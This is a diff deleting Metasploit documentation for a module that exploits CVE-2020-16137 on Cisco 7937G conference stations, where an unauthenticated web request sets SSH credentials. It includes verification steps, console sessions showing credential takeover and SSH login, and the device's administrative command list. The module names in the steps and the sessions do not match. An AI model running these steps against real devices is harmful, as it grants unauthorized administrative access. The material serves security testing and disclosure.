diff --git a/documentation/modules/exploit/linux/ssh/cisco_7937g_ssh_privesc.md b/documentation/modules/exploit/linux/ssh/cisco_7937g_ssh_privesc.md deleted file mode 100644 index b335f9e9b9..0000000000 --- a/documentation/modules/exploit/linux/ssh/cisco_7937g_ssh_privesc.md +++ /dev/null @@ -1,448 +0,0 @@ -## Vulnerable Application - - [Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station. - This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7. - -### Description - -This module exploits a feature that should not be available via the web interface. An unauthenticated user may set the credentials for SSH access to any username and password combination desired, giving access to administrative functions through an SSH connection. - -## Verification Steps - - 1. Obtain a Cisco 7937G Conference Station. - 2. Enable Web Access and SSH Access on the device. - 3. Start msfconsole - 4. Do: `use auxiliary/dos/cisco/CVE-2020-16139` - 5. Do: `set RHOSTS 192.168.1.10` - 6. Do: `set USER test` - 7. Do: `set PASS test` - 8. Do: `run` - 9. The conference station's SSH service should now be configured with the supplied USER:PASS. - -## Options - -### PASS - -The desired password for setting SSH access - -### USER - -The desired username for setting SSH access - -## Scenarios - -### Cisco 7937G Running Firmware Version SCCP-1-4-5-7 - -#### Successful Scenario - -``` -msf5 > use exploit/linux/ssh/cve_2020_16137 -msf5 auxiliary(linux/ssh/cve_2020_16137) > set user test -user => test -msf5 auxiliary(linux/ssh/cve_2020_16137) > set pass test -pass => test -msf5 auxiliary(linux/ssh/cve_2020_16137) > set rhosts 192.168.110.209 -rhosts => 192.168.110.209 -msf5 auxiliary(linux/ssh/cve_2020_16137) > run - -[*] Running for 192.168.110.209... -[*] 192.168.110.209 - Attempting to set SSH credentials. -[*] 192.168.110.209 - SSH attack finished! -[*] 192.168.110.209 - Try to login using the supplied credentials test:test -[*] 192.168.110.209 - You must specify the key exchange when connecting or the device will be DoS'd! -[*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209 -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -msf5 auxiliary(linux/ssh/cve_2020_16137) > exit -user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209 -test@192.168.110.209's password: - -$>help - - -Commands 1 to 21: -help - Shows basic help for all commands. -echo - Echoes all arguments (arbitrary parameters, up to 9) -psosMaxShow - Show max number of psos objects created. -psosFailuresShow - Show failures of psos api calls. -clearNetStats - Clear statistics counters in Ethernet Driver. -nicheShow - Show statistics of InterNiche stack. -psosIntStackShow - Show information on interrupt stack. -i - Display status of the specified process, or all running processes (Process_name (optional)) -checkStack - Checks the stack. -reboot - Reboots the phone with an optional parameter. -logl - Set the lowest log level which will be displayed (0-6) -logs - Set the log level output for a given module ([module] [0-6]) -logsa - Set the log level output for all modules. ([0-6]) -logt - Set the log display type (0-2) -logd - Dump the log, parameter is reverse order or not. -logda - Print all available log modules and their current level. -setRtRender - Set real time rendering parameters for the log. -lfu - Send the logfiles to the provisioning server(no parameters). -del - Delete specified file. -cat - Concatanate specified files. - -Commands 21 to 41: -copy - Copy a file, can be stdout. -ls - List the contents of flash. -ll - List the contents of flash. -d - Display memory.
,, -m - Display memory.
, -ping - Ping a given host (IP or DNS name) [,Data Len in Bytes] -ifShow - Display ethernet interface statistics (no parameters) -showStoredConfig - Display configuration as stored in flash (no parameters) -showRunningConfig - Display the current running configuration (no parameters) -showBackupConfig - Display backup configuration as stored in flash (no parameters) -overrideBackupConfig - Override backup flash config with current config (no parameters) -overrideSecurityBackup - Override backup security sector with current security sector. -resetConfig - Reset the phone to the default settings(setting type [SPIP],[SPIPCS],[SPIPShoreline]) -configDhcpSet - Set DHCP parameters in the flash. - (DHCP Enabled[YES|NO], Offer Timeout, DHCP Option, DHCP Option Type, - Using statically configured boot server[YES|NO]) -configDnsSet - Set DNS parameters in the flash. (Primary DNS Server, Secondary DNS Server, DNS Domain) -configNetSet - Set network parameters in the flash. - (IP Address, Subnet Mask, Router, VLAN(can be empty)) -configProvisioningSet - Set provisioning server parameters in the flash. - (Server Name, Using server type[FTP|TFTP|HTTP|HTTPS|FTPS], User, Password) -configSntpSet - Set SNTP parameters in the flash. (sntpserverName,sntpgmtOffset) -nslookup - Find the IP for a given hostname -dnsCacheAShow - Show DNS Cache for A records. - -Commands 41 to 61: -dnsCacheSrvShow - Show DNS Cache for SRV records. -dnsCacheAFlush - Flush DNS A records from cache. -version - Display vxWorks bootline, software versions, and hardware version. -hwBoardSerialSet - Set serial number. !!!!!Should never be used!!!!!. -hwVarSet - Set the contents of a hardware var ([var ID] [new value]) -hwVarShow - Display the contents of a hardware var ([var ID]) -simulateKeyPress - Send a key Press event to so like it came from hardware. -simulateKeyHold - Send a key Hold event to so like it came from hardware. -simulateKeyRelease - Send a key Release event to so like it came from hardware. -simulateHookUp - Send a hookswitch event to so like it came from hardware. -simulateHookDown - Send a hookswitch event to so like it came from hardware. -ncasMisc - Show misc. non-call information (no parameters) -ncasCb - Show detailed ncas information, related to either call services, - non-call services, or server information (1, 2, or 3) -uptime - Show phone uptime. -appPrt - Show UI's call status. -fntPrt - Show information about fonts available on phone. -memtop - Shows the top poiter to current memory. -removeScheduledLogEntry - debug -addScheduledLogEntry - debug -fatalError - Simulate fatal error for the phone. - -Commands 61 to 81: -enableStrTruncLog - Enable logging of string truncation. -disableStrTruncLog - Disable logging of string truncation. -sendFlashBinImage - Upload binary flash image. -setMac - debug, here because PSOS can't set the MAC. -sg - send a bitmap to the boot server -memShow - Display system memory usage -memDebug - Toggle memory manager trace flag -l2Debug - Toggle memory manager trace flag -wsTest - Web Service Test Tool -fxShow - Display file transfer manager status -utilHostByNameShow - Test utilHostByName -utilDnsShow - Show callbacks for dns queries -dnsCacheShow - Show DNSACacheShow -utilEthLinkShow - Show Ethernet link status -ethConfigTest - Set Ethernet Mode (0 to 4) -timeTest - Test time -contrastChg - Change LCD Contrast -setAdminVlan - Set admin vlan id -setL2Auth - Set L2 Auth Enable/Disable -ipAddrChange - Change ip addr configuration - -Commands 81 to 101: -tftpChange - Change tftp addr -arpStats - Print ARP statistics -fxPut - Transfer file to remote -crash - Crash the system -ipAddrShow - Show ip addr -rtosSocketShow - Show rtos socket information -sccpShow - Show protocol -regManagerShow - show registration manager state -uiPrintAll - uiPrintAll -uiPrintSoftKeys - uiPrintSoftKeys -getVoiceQuality - displays voice quality control status -uiPrintLocalSoftKeys - uiPrintLocalSoftKeys -uiStartTone - uiStartTone -uiStopTone - uiStopTone -pegPrintAll - pegPrintAll -uiSMPrintAll - uiStateMachinePrintAll -lldpSMPrintAll - lldpStateMachinePrintAll -saveLogLevels - saveLogLevels -localePrintAll - localePrintAll -ceShow - Show Client Engine Status - -Commands 101 to 121: -udiShow - Show Unique Device Indentifier -show - Show Unique Device Indentifier -pbnShow - Display app & bootrom headers -upr - Upgrade to a Rockpile Standalone Image -upm - Upgrade to a Rockpile Manf Image -setHw - Sets the Rockpile Hardware Id -getHw - Prints the Rockpile Hardware Id -setUpf - Sets the Upgrade progress flag -rstUpf - Resets the Upgrade progress flag -setMdm - Sets the Manf diag mode flag -rstMdm - Resets the Manf diag mode flag -setDhcp - Sets the Manf diag dhcp flag -rstDhcp - Resets the Manf diag dhcp flag -setOrd - Sets the ORD flag -rstOrd - Resets the ORD flag -fs - Prin the status of rockpile flags -cp - Mfg. test diags -vol - Mfg. test diags -sig - Mfg. test diags -os - Mfg. test diags - -Commands 121 to 141: -lcd - Mfg. test diags -sum - Prints checksums of flash images -rd - Mfg. test diags -wr - Mfg. test diags -eth - Start/stop ethernet hardware -fstp - Stop FGPIO interface -hfTxEq - Audio testing for large conf rooms -ctConv - perform ct convergence test. -ctModeEnd - terminate ctMode -ctEnableRx - Enable ctRx 1 on, 0 off -ctEnableTx - Enable ctTx 1 on, 0 off -ctMicTx - Route mic # to Tx -ctEMTx - Route external mic # to Tx -ctSineTx - [chan], [freq], [dBm]: Generate tone to Tx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm) -ctRxSpkr - Send directly to HF speaker -ctSineSpkr - [chan], [freq], [dBm]: Generate tone to Rx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm) -ctNoiseSpkr - [chan], [dBm]: Generate noise to Rx (0 => HD, 1 => HF, default HF, -40dBm) -displayListeningPorts - Display listening port and process info -killListeningProcess - Kill the task associated with the port - -$>exit -``` - -#### Unsuccessful Scenario -``` -msf5 > use exploit/linux/ssh/cve_2020_16137 -msf5 auxiliary(linux/ssh/cve_2020_16137) > set user test -user => test -msf5 auxiliary(linux/ssh/cve_2020_16137) > set pass test -pass => test -msf5 auxiliary(linux/ssh/cve_2020_16137) > set rhosts 192.168.110.209 -rhosts => 192.168.110.209 -msf5 auxiliary(linux/ssh/cve_2020_16137) > run - -[*] Running for 192.168.110.209... -[*] 192.168.110.209 - Attempting to set SSH credentials. -[-] 192.168.110.209 - Device doesn't appear to be functioning or web access is not enabled. -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -``` - -### Cisco 7937G Running Firmware Version SCCP-1-4-5-5 - -#### Successful Scenario - -``` -msf5 > use exploit/linux/ssh/cve_2020_16137 -msf5 auxiliary(linux/ssh/cve_2020_16137) > set user test -user => test -msf5 auxiliary(linux/ssh/cve_2020_16137) > set pass test -pass => test -msf5 auxiliary(linux/ssh/cve_2020_16137) > set rhosts 192.168.110.209 -rhosts => 192.168.110.209 -msf5 auxiliary(linux/ssh/cve_2020_16137) > run - -[*] Running for 192.168.110.209... -[*] 192.168.110.209 - Attempting to set SSH credentials. -[*] 192.168.110.209 - SSH attack finished! -[*] 192.168.110.209 - Try to login using the supplied credentials test:test -[*] 192.168.110.209 - You must specify the key exchange when connecting or the device will be DoS'd! -[*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209 -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -msf5 auxiliary(linux/ssh/cve_2020_16137) > exit -user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209 -test@192.168.110.209's password: - -$>help - - -Commands 1 to 21: -help - Shows basic help for all commands. -echo - Echoes all arguments (arbitrary parameters, up to 9) -psosMaxShow - Show max number of psos objects created. -psosFailuresShow - Show failures of psos api calls. -clearNetStats - Clear statistics counters in Ethernet Driver. -nicheShow - Show statistics of InterNiche stack. -psosIntStackShow - Show information on interrupt stack. -i - Display status of the specified process, or all running processes (Process_name (optional)) -checkStack - Checks the stack. -reboot - Reboots the phone with an optional parameter. -logl - Set the lowest log level which will be displayed (0-6) -logs - Set the log level output for a given module ([module] [0-6]) -logsa - Set the log level output for all modules. ([0-6]) -logt - Set the log display type (0-2) -logd - Dump the log, parameter is reverse order or not. -logda - Print all available log modules and their current level. -setRtRender - Set real time rendering parameters for the log. -lfu - Send the logfiles to the provisioning server(no parameters). -del - Delete specified file. -cat - Concatanate specified files. - -Commands 21 to 41: -copy - Copy a file, can be stdout. -ls - List the contents of flash. -ll - List the contents of flash. -d - Display memory.
,, -m - Display memory.
, -ping - Ping a given host (IP or DNS name) [,Data Len in Bytes] -ifShow - Display ethernet interface statistics (no parameters) -showStoredConfig - Display configuration as stored in flash (no parameters) -showRunningConfig - Display the current running configuration (no parameters) -showBackupConfig - Display backup configuration as stored in flash (no parameters) -overrideBackupConfig - Override backup flash config with current config (no parameters) -overrideSecurityBackup - Override backup security sector with current security sector. -resetConfig - Reset the phone to the default settings(setting type [SPIP],[SPIPCS],[SPIPShoreline]) -configDhcpSet - Set DHCP parameters in the flash. - (DHCP Enabled[YES|NO], Offer Timeout, DHCP Option, DHCP Option Type, - Using statically configured boot server[YES|NO]) -configDnsSet - Set DNS parameters in the flash. (Primary DNS Server, Secondary DNS Server, DNS Domain) -configNetSet - Set network parameters in the flash. - (IP Address, Subnet Mask, Router, VLAN(can be empty)) -configProvisioningSet - Set provisioning server parameters in the flash. - (Server Name, Using server type[FTP|TFTP|HTTP|HTTPS|FTPS], User, Password) -configSntpSet - Set SNTP parameters in the flash. (sntpserverName,sntpgmtOffset) -nslookup - Find the IP for a given hostname -dnsCacheAShow - Show DNS Cache for A records. - -Commands 41 to 61: -dnsCacheSrvShow - Show DNS Cache for SRV records. -dnsCacheAFlush - Flush DNS A records from cache. -version - Display vxWorks bootline, software versions, and hardware version. -hwBoardSerialSet - Set serial number. !!!!!Should never be used!!!!!. -hwVarSet - Set the contents of a hardware var ([var ID] [new value]) -hwVarShow - Display the contents of a hardware var ([var ID]) -simulateKeyPress - Send a key Press event to so like it came from hardware. -simulateKeyHold - Send a key Hold event to so like it came from hardware. -simulateKeyRelease - Send a key Release event to so like it came from hardware. -simulateHookUp - Send a hookswitch event to so like it came from hardware. -simulateHookDown - Send a hookswitch event to so like it came from hardware. -ncasMisc - Show misc. non-call information (no parameters) -ncasCb - Show detailed ncas information, related to either call services, - non-call services, or server information (1, 2, or 3) -uptime - Show phone uptime. -appPrt - Show UI's call status. -fntPrt - Show information about fonts available on phone. -memtop - Shows the top poiter to current memory. -removeScheduledLogEntry - debug -addScheduledLogEntry - debug -fatalError - Simulate fatal error for the phone. - -Commands 61 to 81: -enableStrTruncLog - Enable logging of string truncation. -disableStrTruncLog - Disable logging of string truncation. -sendFlashBinImage - Upload binary flash image. -setMac - debug, here because PSOS can't set the MAC. -sg - send a bitmap to the boot server -memShow - Display system memory usage -memDebug - Toggle memory manager trace flag -l2Debug - Toggle memory manager trace flag -wsTest - Web Service Test Tool -fxShow - Display file transfer manager status -utilHostByNameShow - Test utilHostByName -utilDnsShow - Show callbacks for dns queries -dnsCacheShow - Show DNSACacheShow -utilEthLinkShow - Show Ethernet link status -ethConfigTest - Set Ethernet Mode (0 to 4) -timeTest - Test time -contrastChg - Change LCD Contrast -setAdminVlan - Set admin vlan id -setL2Auth - Set L2 Auth Enable/Disable -ipAddrChange - Change ip addr configuration - -Commands 81 to 101: -tftpChange - Change tftp addr -arpStats - Print ARP statistics -fxPut - Transfer file to remote -crash - Crash the system -ipAddrShow - Show ip addr -rtosSocketShow - Show rtos socket information -sccpShow - Show protocol -regManagerShow - show registration manager state -uiPrintAll - uiPrintAll -uiPrintSoftKeys - uiPrintSoftKeys -getVoiceQuality - displays voice quality control status -uiPrintLocalSoftKeys - uiPrintLocalSoftKeys -uiStartTone - uiStartTone -uiStopTone - uiStopTone -pegPrintAll - pegPrintAll -uiSMPrintAll - uiStateMachinePrintAll -lldpSMPrintAll - lldpStateMachinePrintAll -saveLogLevels - saveLogLevels -localePrintAll - localePrintAll -ceShow - Show Client Engine Status - -Commands 101 to 121: -udiShow - Show Unique Device Indentifier -show - Show Unique Device Indentifier -pbnShow - Display app & bootrom headers -upr - Upgrade to a Rockpile Standalone Image -upm - Upgrade to a Rockpile Manf Image -setHw - Sets the Rockpile Hardware Id -getHw - Prints the Rockpile Hardware Id -setUpf - Sets the Upgrade progress flag -rstUpf - Resets the Upgrade progress flag -setMdm - Sets the Manf diag mode flag -rstMdm - Resets the Manf diag mode flag -setDhcp - Sets the Manf diag dhcp flag -rstDhcp - Resets the Manf diag dhcp flag -setOrd - Sets the ORD flag -rstOrd - Resets the ORD flag -fs - Prin the status of rockpile flags -cp - Mfg. test diags -vol - Mfg. test diags -sig - Mfg. test diags -os - Mfg. test diags - -Commands 121 to 141: -lcd - Mfg. test diags -sum - Prints checksums of flash images -rd - Mfg. test diags -wr - Mfg. test diags -eth - Start/stop ethernet hardware -fstp - Stop FGPIO interface -hfTxEq - Audio testing for large conf rooms -ctConv - perform ct convergence test. -ctModeEnd - terminate ctMode -ctEnableRx - Enable ctRx 1 on, 0 off -ctEnableTx - Enable ctTx 1 on, 0 off -ctMicTx - Route mic # to Tx -ctEMTx - Route external mic # to Tx -ctSineTx - [chan], [freq], [dBm]: Generate tone to Tx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm) -ctRxSpkr - Send directly to HF speaker -ctSineSpkr - [chan], [freq], [dBm]: Generate tone to Rx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm) -ctNoiseSpkr - [chan], [dBm]: Generate noise to Rx (0 => HD, 1 => HF, default HF, -40dBm) -displayListeningPorts - Display listening port and process info -killListeningProcess - Kill the task associated with the port - -$>exit -``` - -#### Unsuccessful Scenario -``` -msf5 > use exploit/linux/ssh/cve_2020_16137 -msf5 auxiliary(linux/ssh/cve_2020_16137) > set user test -user => test -msf5 auxiliary(linux/ssh/cve_2020_16137) > set pass test -pass => test -msf5 auxiliary(linux/ssh/cve_2020_16137) > set rhosts 192.168.110.209 -rhosts => 192.168.110.209 -msf5 auxiliary(linux/ssh/cve_2020_16137) > run - -[*] Running for 192.168.110.209... -[*] 192.168.110.209 - Attempting to set SSH credentials. -[-] 192.168.110.209 - Device doesn't appear to be functioning or web access is not enabled. -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -```